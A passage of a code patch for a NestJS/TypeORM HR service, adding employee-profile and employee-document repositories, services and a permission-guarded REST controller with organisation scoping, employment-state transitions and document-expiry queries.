import { Injectable } from "@nestjs/common";
|
||||
import { InjectRepository } from "@nestjs/typeorm";
|
||||
import { BaseRepository } from "@edr/api-common";
|
||||
import { Repository } from "typeorm";
|
||||
|
||||
import { EmployeeDocument } from "./entities/employee-document.entity";
|
||||
|
||||
@Injectable()
|
||||
export class EmployeeDocumentsRepository extends BaseRepository<EmployeeDocument> {
|
||||
constructor(
|
||||
@InjectRepository(EmployeeDocument)
|
||||
repository: Repository<EmployeeDocument>,
|
||||
) {
|
||||
super(repository);
|
||||
}
|
||||
|
||||
findByProfile(employeeProfileId: string): Promise<EmployeeDocument[]> {
|
||||
return this.repository.find({
|
||||
where: { employeeProfileId },
|
||||
order: { createdAt: "DESC" },
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Documents expiring within `days`. Feeds the renewal reminder and the
|
||||
* expiring-documents report (3.7) — a lapsed work permit or contract is an HR
|
||||
* compliance failure, so this is a first-class query rather than a report-time
|
||||
* scan.
|
||||
*/
|
||||
findExpiringWithin(
|
||||
organizationId: string | null,
|
||||
days: number,
|
||||
): Promise<EmployeeDocument[]> {
|
||||
const qb = this.repository.createQueryBuilder("document").where("1 = 1");
|
||||
// Documents store no organization. Scope by joining the profile through to
|
||||
// `iam.employees`, which is where the organization actually lives.
|
||||
// `null` = every organization (super admin), so no join is needed at all.
|
||||
if (organizationId) {
|
||||
qb.andWhere(
|
||||
`EXISTS (
|
||||
SELECT 1 FROM hr.employee_profiles p
|
||||
JOIN iam.employees e ON e.id = p.employee_id
|
||||
WHERE p.id = document.employee_profile_id
|
||||
AND e.organization_id = :organizationId
|
||||
)`,
|
||||
{ organizationId },
|
||||
);
|
||||
}
|
||||
return qb
|
||||
.andWhere("document.expiry_date IS NOT NULL")
|
||||
.andWhere(
|
||||
`document.expiry_date BETWEEN CURRENT_DATE AND (CURRENT_DATE + make_interval(days => :days))`,
|
||||
{ days },
|
||||
)
|
||||
.orderBy("document.expiryDate", "ASC")
|
||||
.getMany();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
import {
|
||||
ForbiddenException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
|
||||
import { EmployeeDocumentsRepository } from "./employee-documents.repository";
|
||||
import { EmployeeDocument } from "./entities/employee-document.entity";
|
||||
import { CreateEmployeeDocumentDto } from "./dto/create-employee-document.dto";
|
||||
import { ActorContext, EmployeesService, orgScope } from "./employees.service";
|
||||
|
||||
@Injectable()
|
||||
export class EmployeeDocumentsService {
|
||||
constructor(
|
||||
private readonly documentsRepository: EmployeeDocumentsRepository,
|
||||
private readonly employeesService: EmployeesService,
|
||||
) {}
|
||||
|
||||
async list(
|
||||
employeeProfileId: string,
|
||||
actor: ActorContext,
|
||||
options: { ownOnly?: boolean } = {},
|
||||
): Promise<EmployeeDocument[]> {
|
||||
const profile = await this.employeesService.requireProfile(
|
||||
employeeProfileId,
|
||||
orgScope(actor),
|
||||
);
|
||||
// Self-service callers reach this route with `can:view:employee_document`
|
||||
// too, so the ownership check is what separates "my file" from "anyone's".
|
||||
if (options.ownOnly && profile.employeeId !== actor.employeeId) {
|
||||
throw new ForbiddenException("You can only read your own documents");
|
||||
}
|
||||
return this.documentsRepository.findByProfile(profile.id);
|
||||
}
|
||||
|
||||
async add(
|
||||
employeeProfileId: string,
|
||||
dto: CreateEmployeeDocumentDto,
|
||||
actor: ActorContext,
|
||||
): Promise<EmployeeDocument> {
|
||||
const profile = await this.employeesService.requireProfile(
|
||||
employeeProfileId,
|
||||
orgScope(actor),
|
||||
);
|
||||
// No organization stored on the document: it belongs to the profile, which
|
||||
// belongs to an IAM employee, which is where the organization lives.
|
||||
return this.documentsRepository.create({
|
||||
...dto,
|
||||
employeeProfileId: profile.id,
|
||||
createdBy: actor.userId,
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Soft-deletes the HR index row. The DMS object is deliberately left alone:
|
||||
* DMS owns its own retention, and a document can be referenced by more than one
|
||||
* record (a contract filed against both the employee and a recruitment offer).
|
||||
*/
|
||||
async remove(
|
||||
employeeProfileId: string,
|
||||
documentId: string,
|
||||
actor: ActorContext,
|
||||
): Promise<void> {
|
||||
await this.employeesService.requireProfile(
|
||||
employeeProfileId,
|
||||
orgScope(actor),
|
||||
);
|
||||
const document = await this.documentsRepository.findById(documentId);
|
||||
if (!document || document.employeeProfileId !== employeeProfileId) {
|
||||
throw new NotFoundException(`Document ${documentId} not found`);
|
||||
}
|
||||
await this.documentsRepository.softDelete(documentId);
|
||||
}
|
||||
|
||||
/** Documents expiring in the next `days`, for the compliance reminder. */
|
||||
expiring(days: number, actor: ActorContext): Promise<EmployeeDocument[]> {
|
||||
return this.documentsRepository.findExpiringWithin(orgScope(actor), days);
|
||||
}
|
||||
}
|
||||
274
apps/edr-hr-api/src/modules/employees/employees.controller.ts
Normal file
274
apps/edr-hr-api/src/modules/employees/employees.controller.ts
Normal file
@@ -0,0 +1,274 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Delete,
|
||||
Get,
|
||||
HttpCode,
|
||||
HttpStatus,
|
||||
Param,
|
||||
ParseIntPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiResponse,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../common/hr-guards";
|
||||
import { actorFrom } from "../../common/current-actor.util";
|
||||
import { HR_PERMS, IAM_PERMS } from "../../seed/hr-permissions.registry";
|
||||
import { EmployeesService } from "./employees.service";
|
||||
import { EmployeeDocumentsService } from "./employee-documents.service";
|
||||
import { CreateEmployeeProfileDto } from "./dto/create-employee-profile.dto";
|
||||
import {
|
||||
TerminateEmployeeDto,
|
||||
UpdateEmployeeProfileDto,
|
||||
} from "./dto/update-employee-profile.dto";
|
||||
import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto";
|
||||
import { CreateEmployeeDocumentDto } from "./dto/create-employee-document.dto";
|
||||
|
||||
@ApiTags("employee-profiles")
|
||||
@ApiBearerAuth()
|
||||
@Controller("employee-profiles")
|
||||
// The class gate lists every key its routes use: Nest runs class AND method
|
||||
// guards, so a key missing here denies before the route's own key is evaluated.
|
||||
@HrStaff([
|
||||
HR_PERMS.employeeProfile.view,
|
||||
HR_PERMS.employeeProfile.viewOwn,
|
||||
HR_PERMS.employeeProfile.create,
|
||||
HR_PERMS.employeeProfile.update,
|
||||
HR_PERMS.employeeProfile.deactivate,
|
||||
HR_PERMS.employeeProfile.terminate,
|
||||
IAM_PERMS.employee.activate,
|
||||
IAM_PERMS.employee.deactivate,
|
||||
HR_PERMS.employeeDocument.view,
|
||||
HR_PERMS.employeeDocument.upload,
|
||||
HR_PERMS.employeeDocument.delete,
|
||||
])
|
||||
export class EmployeesController {
|
||||
constructor(
|
||||
private readonly employeesService: EmployeesService,
|
||||
private readonly documentsService: EmployeeDocumentsService,
|
||||
) {}
|
||||
|
||||
@Post()
|
||||
@HrStaff(HR_PERMS.employeeProfile.create)
|
||||
@ApiOperation({
|
||||
summary: "Create the HR profile for an existing IAM employee",
|
||||
description:
|
||||
"The employee must already exist in iam.employees. Employee number is generated when omitted.",
|
||||
})
|
||||
@ApiResponse({ status: 409, description: "This employee already has a profile" })
|
||||
create(
|
||||
@Body() dto: CreateEmployeeProfileDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.create(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.employeeProfile.view)
|
||||
@ApiOperation({
|
||||
summary: "Employee directory — every IAM employee, with onboarding state",
|
||||
description:
|
||||
"Driven from iam.employees, left-joined to hr.employee_profiles. " +
|
||||
"`isOnboarded` says whether HR holds a profile. Filter with " +
|
||||
"?onboarded=false to get the onboarding queue.",
|
||||
})
|
||||
findAll(
|
||||
@Query() filters: FindEmployeeProfilesDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.findDirectory(filters, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("by-employee/:employeeId/ensure")
|
||||
@HrStaff(HR_PERMS.employeeProfile.create)
|
||||
@ApiOperation({
|
||||
summary: "Onboard an IAM employee — return their HR profile, creating it if absent",
|
||||
description:
|
||||
"Idempotent. A newly created profile is flagged `isProvisional`: its hire " +
|
||||
"date is the IAM record's creation date and its employment type a default, " +
|
||||
"so both must be confirmed before payroll or leave accrual rely on them.",
|
||||
})
|
||||
ensure(
|
||||
@Param("employeeId", ParseUUIDPipe) employeeId: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.ensureProfile(employeeId, actorFrom(user));
|
||||
}
|
||||
|
||||
// Declared before `:id` so the literal path is not captured by the UUID route.
|
||||
@Get("me")
|
||||
@HrStaff(HR_PERMS.employeeProfile.viewOwn)
|
||||
@ApiOperation({ summary: "The signed-in employee's own profile" })
|
||||
findOwn(@CurrentUser() user: TCurrentUser) {
|
||||
return this.employeesService.findOwn(actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("headcount-summary")
|
||||
@HrStaff(HR_PERMS.employeeProfile.view)
|
||||
@ApiOperation({ summary: "Headcount by employment state, for the dashboard" })
|
||||
headcountSummary(@CurrentUser() user: TCurrentUser) {
|
||||
return this.employeesService.headcountSummary(actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("documents/expiring")
|
||||
@HrStaff(HR_PERMS.employeeDocument.view)
|
||||
@ApiOperation({
|
||||
summary: "Employee documents expiring within the given number of days",
|
||||
})
|
||||
expiringDocuments(
|
||||
@Query("days", new ParseIntPipe({ optional: true })) days = 30,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.documentsService.expiring(days, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get(":id")
|
||||
@HrStaff(HR_PERMS.employeeProfile.view)
|
||||
@ApiOperation({ summary: "One employee profile, with IAM facts read through" })
|
||||
findOne(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.findOne(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id")
|
||||
@HrStaff(HR_PERMS.employeeProfile.update)
|
||||
@ApiOperation({
|
||||
summary: "Update an employee profile",
|
||||
description:
|
||||
"Employment state is not editable here — use the suspend / reinstate / terminate transitions.",
|
||||
})
|
||||
update(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: UpdateEmployeeProfileDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.update(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/suspend")
|
||||
@HrStaff(HR_PERMS.employeeProfile.deactivate)
|
||||
@ApiOperation({ summary: "Suspend an employee" })
|
||||
suspend(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.suspend(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/reinstate")
|
||||
@HrStaff(HR_PERMS.employeeProfile.deactivate)
|
||||
@ApiOperation({ summary: "Return a suspended or on-leave employee to active" })
|
||||
reinstate(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.reinstate(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/terminate")
|
||||
@HrStaff(HR_PERMS.employeeProfile.terminate)
|
||||
@ApiOperation({
|
||||
summary: "End an employment (terminal)",
|
||||
description:
|
||||
"The row is kept, not deleted — payroll, tax and pension reports read terminated employees for the period they worked.",
|
||||
})
|
||||
terminate(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: TerminateEmployeeDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.terminate(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
// ── Documents ────────────────────────────────────────────────────────────
|
||||
|
||||
@Patch(":id/system-access/revoke")
|
||||
@HrStaff(IAM_PERMS.employee.deactivate)
|
||||
@ApiOperation({
|
||||
summary: "Deactivate this employee's IAM account",
|
||||
description:
|
||||
"Revokes the login and ends every position they hold in IAM. Their HR " +
|
||||
"employment state is untouched — this is about access, not employment. " +
|
||||
"Not reversible in one step: restoring the account does not restore the " +
|
||||
"positions.",
|
||||
})
|
||||
@ApiResponse({ status: 200, description: "Account deactivated" })
|
||||
revokeSystemAccess(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.setIamAccountActive(id, false, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/system-access/restore")
|
||||
@HrStaff(IAM_PERMS.employee.activate)
|
||||
@ApiOperation({
|
||||
summary: "Reactivate this employee's IAM account",
|
||||
description:
|
||||
"Restores the login. Position assignments ended by a deactivation are NOT " +
|
||||
"restored — reassign them from the organisation explorer. Rejected while " +
|
||||
"the employment is TERMINATED or RETIRED.",
|
||||
})
|
||||
@ApiResponse({ status: 200, description: "Account reactivated" })
|
||||
@ApiResponse({
|
||||
status: 400,
|
||||
description: "The employment has ended; reinstate it first",
|
||||
})
|
||||
restoreSystemAccess(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.employeesService.setIamAccountActive(id, true, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get(":id/documents")
|
||||
@HrStaff(HR_PERMS.employeeDocument.view)
|
||||
@ApiOperation({ summary: "Documents filed against an employee" })
|
||||
listDocuments(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.documentsService.list(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post(":id/documents")
|
||||
@HrStaff(HR_PERMS.employeeDocument.upload)
|
||||
@ApiOperation({
|
||||
summary: "File a document against an employee",
|
||||
description: "Upload the file to DMS first, then record its id here.",
|
||||
})
|
||||
addDocument(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: CreateEmployeeDocumentDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.documentsService.add(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Delete(":id/documents/:documentId")
|
||||
@HrStaff(HR_PERMS.employeeDocument.delete)
|
||||
@HttpCode(HttpStatus.NO_CONTENT)
|
||||
@ApiOperation({
|
||||
summary: "Remove a document from an employee's file",
|
||||
description: "Soft-deletes the HR index row; the DMS object is untouched.",
|
||||
})
|
||||
removeDocument(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Param("documentId", ParseUUIDPipe) documentId: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.documentsService.remove(id, documentId, actorFrom(user));
|
||||
}
|
||||
}
|
||||
32
apps/edr-hr-api/src/modules/employees/employees.module.ts
Normal file
32
apps/edr-hr-api/src/modules/employees/employees.module.ts
Normal file
@@ -0,0 +1,32 @@
|
||||
import { Module } from "@nestjs/common";
|
||||
import { TypeOrmModule } from "@nestjs/typeorm";
|
||||
|
||||
import { EmployeeProfile } from "./entities/employee-profile.entity";
|
||||
import { EmployeeDocument } from "./entities/employee-document.entity";
|
||||
import { EmployeesRepository } from "./employees.repository";
|
||||
import { EmployeeDocumentsRepository } from "./employee-documents.repository";
|
||||
import { EmployeesService } from "./employees.service";
|
||||
import { EmployeeDocumentsService } from "./employee-documents.service";
|
||||
import { EmployeesController } from "./employees.controller";
|
||||
import { JobTitlesModule } from "../job-titles/job-titles.module";
|
||||
|
||||
@Module({
|
||||
imports: [
|
||||
TypeOrmModule.forFeature([EmployeeProfile, EmployeeDocument]),
|
||||
// For the job-title validation on create/update. Imported rather than
|
||||
// reaching into the repository directly, so the ownership stays with the
|
||||
// job-titles module.
|
||||
JobTitlesModule,
|
||||
],
|
||||
controllers: [EmployeesController],
|
||||
providers: [
|
||||
EmployeesRepository,
|
||||
EmployeeDocumentsRepository,
|
||||
EmployeesService,
|
||||
EmployeeDocumentsService,
|
||||
],
|
||||
// Leave (3.2), payroll (3.4) and appraisals (3.6) all need to resolve a
|
||||
// profile and its effective manager.
|
||||
exports: [EmployeesService, EmployeesRepository],
|
||||
})
|
||||
export class EmployeesModule {}
|
||||
185
apps/edr-hr-api/src/modules/employees/employees.repository.ts
Normal file
185
apps/edr-hr-api/src/modules/employees/employees.repository.ts
Normal file
@@ -0,0 +1,185 @@
|
||||
import { Injectable } from "@nestjs/common";
|
||||
import { InjectRepository } from "@nestjs/typeorm";
|
||||
import { BaseRepository } from "@edr/api-common";
|
||||
import { In, Repository, SelectQueryBuilder } from "typeorm";
|
||||
|
||||
import { EmployeeProfile } from "./entities/employee-profile.entity";
|
||||
import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto";
|
||||
|
||||
/** Columns a client may sort by. Anything else is a 400 rather than SQL injected. */
|
||||
const SORTABLE = new Set([
|
||||
"employeeNumber",
|
||||
"hireDate",
|
||||
"employmentState",
|
||||
"employmentType",
|
||||
"createdAt",
|
||||
"updatedAt",
|
||||
]);
|
||||
|
||||
@Injectable()
|
||||
export class EmployeesRepository extends BaseRepository<EmployeeProfile> {
|
||||
constructor(
|
||||
@InjectRepository(EmployeeProfile)
|
||||
repository: Repository<EmployeeProfile>,
|
||||
) {
|
||||
super(repository);
|
||||
}
|
||||
|
||||
static isSortable(column: string): boolean {
|
||||
return SORTABLE.has(column);
|
||||
}
|
||||
|
||||
findByEmployeeId(employeeId: string): Promise<EmployeeProfile | null> {
|
||||
return this.repository.findOne({ where: { employeeId } });
|
||||
}
|
||||
|
||||
findByEmployeeIds(employeeIds: string[]): Promise<EmployeeProfile[]> {
|
||||
if (!employeeIds.length) return Promise.resolve([]);
|
||||
return this.repository.find({ where: { employeeId: In(employeeIds) } });
|
||||
}
|
||||
|
||||
findByEmployeeNumber(employeeNumber: string): Promise<EmployeeProfile | null> {
|
||||
return this.repository.findOne({ where: { employeeNumber } });
|
||||
}
|
||||
|
||||
/**
|
||||
* The highest numeric suffix issued platform-wide.
|
||||
*
|
||||
* Reads through soft-deleted rows (`withDeleted`) on purpose: an employee
|
||||
* number must never be reissued, or a payslip archive would point at two
|
||||
* different people.
|
||||
*/
|
||||
async findHighestEmployeeNumberSuffix(prefix: string): Promise<number> {
|
||||
const row = await this.repository
|
||||
.createQueryBuilder("profile")
|
||||
.withDeleted()
|
||||
.select(
|
||||
`MAX(NULLIF(regexp_replace(profile.employee_number, '^' || :prefix, ''), '')::bigint)`,
|
||||
"max",
|
||||
)
|
||||
.where("profile.employee_number ~ :pattern", {
|
||||
pattern: `^${prefix}[0-9]+$`,
|
||||
})
|
||||
.setParameter("prefix", prefix)
|
||||
.getRawOne<{ max: string | null }>();
|
||||
|
||||
return row?.max ? parseInt(row.max, 10) : 0;
|
||||
}
|
||||
|
||||
/** Profiles whose manager override points at this employee. */
|
||||
findDirectReportsByOverride(
|
||||
managerEmployeeId: string,
|
||||
): Promise<EmployeeProfile[]> {
|
||||
return this.repository.find({ where: { managerEmployeeId } });
|
||||
}
|
||||
|
||||
/**
|
||||
* Filtered, paginated page of profiles.
|
||||
*
|
||||
* `search` deliberately matches only `employee_number` here. Name, username and
|
||||
* email live in `iam` and are resolved separately by the service through
|
||||
* `IamDirectoryService`, then intersected — this repository never reaches
|
||||
* across the schema boundary itself.
|
||||
*/
|
||||
async findPage(
|
||||
organizationId: string | null,
|
||||
filters: FindEmployeeProfilesDto,
|
||||
options: {
|
||||
employeeIdWhitelist?: string[] | null;
|
||||
unitEmployeeIds?: string[] | null;
|
||||
} = {},
|
||||
): Promise<[EmployeeProfile[], number]> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
|
||||
// `null` = every organization (super admin). Starting from a always-true
|
||||
// predicate keeps the andWhere chain below identical in both cases.
|
||||
const qb: SelectQueryBuilder<EmployeeProfile> = this.repository
|
||||
.createQueryBuilder("profile")
|
||||
.leftJoinAndSelect("profile.jobTitle", "jobTitle")
|
||||
.where("1 = 1");
|
||||
|
||||
// The profile stores no organization — scope through IAM. EXISTS rather
|
||||
// than a JOIN so the row count is unaffected and paging stays correct.
|
||||
if (organizationId) {
|
||||
qb.andWhere(
|
||||
`EXISTS (SELECT 1 FROM iam.employees e
|
||||
WHERE e.id = profile.employee_id
|
||||
AND e.organization_id = :organizationId)`,
|
||||
{ organizationId },
|
||||
);
|
||||
}
|
||||
|
||||
if (filters.employmentState) {
|
||||
qb.andWhere("profile.employment_state = :employmentState", {
|
||||
employmentState: filters.employmentState,
|
||||
});
|
||||
}
|
||||
if (filters.employmentType) {
|
||||
qb.andWhere("profile.employment_type = :employmentType", {
|
||||
employmentType: filters.employmentType,
|
||||
});
|
||||
}
|
||||
if (filters.jobTitleId) {
|
||||
qb.andWhere("profile.job_title_id = :jobTitleId", {
|
||||
jobTitleId: filters.jobTitleId,
|
||||
});
|
||||
}
|
||||
if (filters.managerEmployeeId) {
|
||||
qb.andWhere("profile.manager_employee_id = :managerEmployeeId", {
|
||||
managerEmployeeId: filters.managerEmployeeId,
|
||||
});
|
||||
}
|
||||
if (filters.search) {
|
||||
qb.andWhere("profile.employee_number ILIKE :search", {
|
||||
search: `%${filters.search}%`,
|
||||
});
|
||||
}
|
||||
|
||||
// An empty whitelist means "the IAM-side filter matched nobody" — that is a
|
||||
// genuine empty page, not an absent filter, so it must not be skipped.
|
||||
if (options.employeeIdWhitelist) {
|
||||
if (!options.employeeIdWhitelist.length) return [[], 0];
|
||||
qb.andWhere("profile.employee_id IN (:...whitelist)", {
|
||||
whitelist: options.employeeIdWhitelist,
|
||||
});
|
||||
}
|
||||
if (options.unitEmployeeIds) {
|
||||
if (!options.unitEmployeeIds.length) return [[], 0];
|
||||
qb.andWhere("profile.employee_id IN (:...unitEmployeeIds)", {
|
||||
unitEmployeeIds: options.unitEmployeeIds,
|
||||
});
|
||||
}
|
||||
|
||||
const sortBy =
|
||||
filters.sortBy && EmployeesRepository.isSortable(filters.sortBy)
|
||||
? filters.sortBy
|
||||
: "createdAt";
|
||||
qb.orderBy(`profile.${sortBy}`, filters.sortOrder ?? "DESC")
|
||||
.skip((page - 1) * limit)
|
||||
.take(limit);
|
||||
|
||||
return qb.getManyAndCount();
|
||||
}
|
||||
|
||||
/** Headcount by employment state, for the HR dashboard. One query, not six. */
|
||||
countByEmploymentState(
|
||||
organizationId: string | null,
|
||||
): Promise<{ employmentState: string; count: string }[]> {
|
||||
const qb = this.repository
|
||||
.createQueryBuilder("profile")
|
||||
.select("profile.employment_state", "employmentState")
|
||||
.addSelect("COUNT(*)::text", "count");
|
||||
if (organizationId) {
|
||||
qb.where(
|
||||
`EXISTS (SELECT 1 FROM iam.employees e
|
||||
WHERE e.id = profile.employee_id
|
||||
AND e.organization_id = :organizationId)`,
|
||||
{ organizationId },
|
||||
);
|
||||
}
|
||||
return qb
|
||||
.groupBy("profile.employment_state")
|
||||
.getRawMany<{ employmentState: string; count: string }>();
|
||||
}
|
||||
}
|
||||
822
apps/edr-hr-api/src/modules/employees/employees.service.ts
Normal file
822
apps/edr-hr-api/src/modules/employees/employees.service.ts
Normal file
@@ -0,0 +1,822 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ConflictException,
|
||||
ForbiddenException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
import { formatEthiopianDateAmharic } from "@tria-plc/api-common/utils/date-convertor";
|
||||
|
||||
import { EmployeesRepository } from "./employees.repository";
|
||||
import { EmployeeProfile } from "./entities/employee-profile.entity";
|
||||
import {
|
||||
EEmploymentState,
|
||||
EEmploymentType,
|
||||
} from "./entities/employee-profile.entity";
|
||||
import { CreateEmployeeProfileDto } from "./dto/create-employee-profile.dto";
|
||||
import {
|
||||
TerminateEmployeeDto,
|
||||
UpdateEmployeeProfileDto,
|
||||
} from "./dto/update-employee-profile.dto";
|
||||
import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto";
|
||||
import { EmployeeProfileResponseDto } from "./dto/employee-profile-response.dto";
|
||||
import {
|
||||
DirectoryRow,
|
||||
IamDirectoryService,
|
||||
} from "../../iam-directory/iam-directory.service";
|
||||
import { IamOperationsService } from "../../iam-directory/iam-operations.service";
|
||||
import { JobTitlesRepository } from "../job-titles/job-titles.repository";
|
||||
import { Paginated, paginate } from "../../common/pagination.dto";
|
||||
|
||||
/** Employment types the pension scheme excludes by default (§3.4). */
|
||||
const PENSION_EXCLUDED_TYPES = new Set<EEmploymentType>([
|
||||
EEmploymentType.CONTRACT,
|
||||
EEmploymentType.INTERN,
|
||||
EEmploymentType.PART_TIME,
|
||||
]);
|
||||
|
||||
/**
|
||||
* States a profile may move to. TERMINATED and RETIRED are terminal — reversing
|
||||
* one would leave a termination date and a live employment on the same row, and
|
||||
* the payroll run reads both.
|
||||
*/
|
||||
/** Employment states after which no login should survive. */
|
||||
const ENDED_STATES = new Set<EEmploymentState>([
|
||||
EEmploymentState.TERMINATED,
|
||||
EEmploymentState.RETIRED,
|
||||
]);
|
||||
|
||||
const ALLOWED_TRANSITIONS: Record<EEmploymentState, EEmploymentState[]> = {
|
||||
[EEmploymentState.PROBATION]: [
|
||||
EEmploymentState.ACTIVE,
|
||||
EEmploymentState.SUSPENDED,
|
||||
EEmploymentState.ON_LEAVE,
|
||||
EEmploymentState.TERMINATED,
|
||||
],
|
||||
[EEmploymentState.ACTIVE]: [
|
||||
EEmploymentState.SUSPENDED,
|
||||
EEmploymentState.ON_LEAVE,
|
||||
EEmploymentState.TERMINATED,
|
||||
EEmploymentState.RETIRED,
|
||||
],
|
||||
[EEmploymentState.SUSPENDED]: [
|
||||
EEmploymentState.ACTIVE,
|
||||
EEmploymentState.TERMINATED,
|
||||
],
|
||||
[EEmploymentState.ON_LEAVE]: [
|
||||
EEmploymentState.ACTIVE,
|
||||
EEmploymentState.SUSPENDED,
|
||||
EEmploymentState.TERMINATED,
|
||||
],
|
||||
[EEmploymentState.TERMINATED]: [],
|
||||
[EEmploymentState.RETIRED]: [],
|
||||
};
|
||||
|
||||
const EMPLOYEE_NUMBER_PREFIX = "EMP-";
|
||||
|
||||
/**
|
||||
* Cap on the id set a search resolves before the real page runs. A term matching
|
||||
* more people than this silently loses the tail, so it is set well above any
|
||||
* realistic organization's headcount rather than at a page size.
|
||||
*/
|
||||
const SEARCH_FANOUT_LIMIT = 2000;
|
||||
const MAX_MANAGER_CHAIN_DEPTH = 32;
|
||||
|
||||
export type ActorContext = {
|
||||
/** `iam.employees.id` of the caller, or null for a non-staff token. */
|
||||
employeeId: string | null;
|
||||
/** `iam.users.id` of the caller — what audit columns record. */
|
||||
userId: string;
|
||||
/**
|
||||
* The caller's own organization. Still recorded for super admins, because a
|
||||
* row they CREATE has to belong somewhere — it just no longer limits reads.
|
||||
*/
|
||||
organizationId: string;
|
||||
/**
|
||||
* Super admins read and write across every organization.
|
||||
*
|
||||
* Tenancy is normally independent of permissions here: `HrPermissionGuard`
|
||||
* waives permission checks for a super admin, but scoping is a separate rule
|
||||
* and waiving it is a deliberate product decision, not a side effect. This
|
||||
* flag is the single place that decision lives.
|
||||
*/
|
||||
isSuperAdmin: boolean;
|
||||
};
|
||||
|
||||
/**
|
||||
* The organization filter for a request: `null` means "every organization",
|
||||
* which repositories translate into omitting the WHERE clause entirely.
|
||||
*
|
||||
* Every scoped query goes through this rather than reading `actor.organizationId`
|
||||
* directly, so a new query cannot forget the super-admin case.
|
||||
*/
|
||||
export const orgScope = (actor: ActorContext): string | null =>
|
||||
actor.isSuperAdmin ? null : actor.organizationId;
|
||||
|
||||
@Injectable()
|
||||
export class EmployeesService {
|
||||
constructor(
|
||||
private readonly employeesRepository: EmployeesRepository,
|
||||
private readonly jobTitlesRepository: JobTitlesRepository,
|
||||
private readonly iamDirectory: IamDirectoryService,
|
||||
private readonly iamOperations: IamOperationsService,
|
||||
) {}
|
||||
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
// Derivations
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Pension default: permanent and seconded staff contribute, everyone else does
|
||||
* not (§3.4). An explicit value from the caller always wins — the exclusion is
|
||||
* organizational policy, not statute, and payroll must be able to record the
|
||||
* exception rather than work around it.
|
||||
*/
|
||||
static derivePensionEligibility(
|
||||
employmentType: EEmploymentType,
|
||||
explicit?: boolean,
|
||||
): boolean {
|
||||
if (explicit !== undefined) return explicit;
|
||||
return !PENSION_EXCLUDED_TYPES.has(employmentType);
|
||||
}
|
||||
|
||||
/**
|
||||
* A new profile starts on PROBATION when a probation end date is set, and
|
||||
* ACTIVE otherwise. Stated explicitly rather than defaulted in the entity so
|
||||
* that "no probation period" is a real, recorded decision.
|
||||
*/
|
||||
static deriveInitialState(
|
||||
probationEndDate?: string | null,
|
||||
explicit?: EEmploymentState,
|
||||
): EEmploymentState {
|
||||
if (explicit) return explicit;
|
||||
return probationEndDate
|
||||
? EEmploymentState.PROBATION
|
||||
: EEmploymentState.ACTIVE;
|
||||
}
|
||||
|
||||
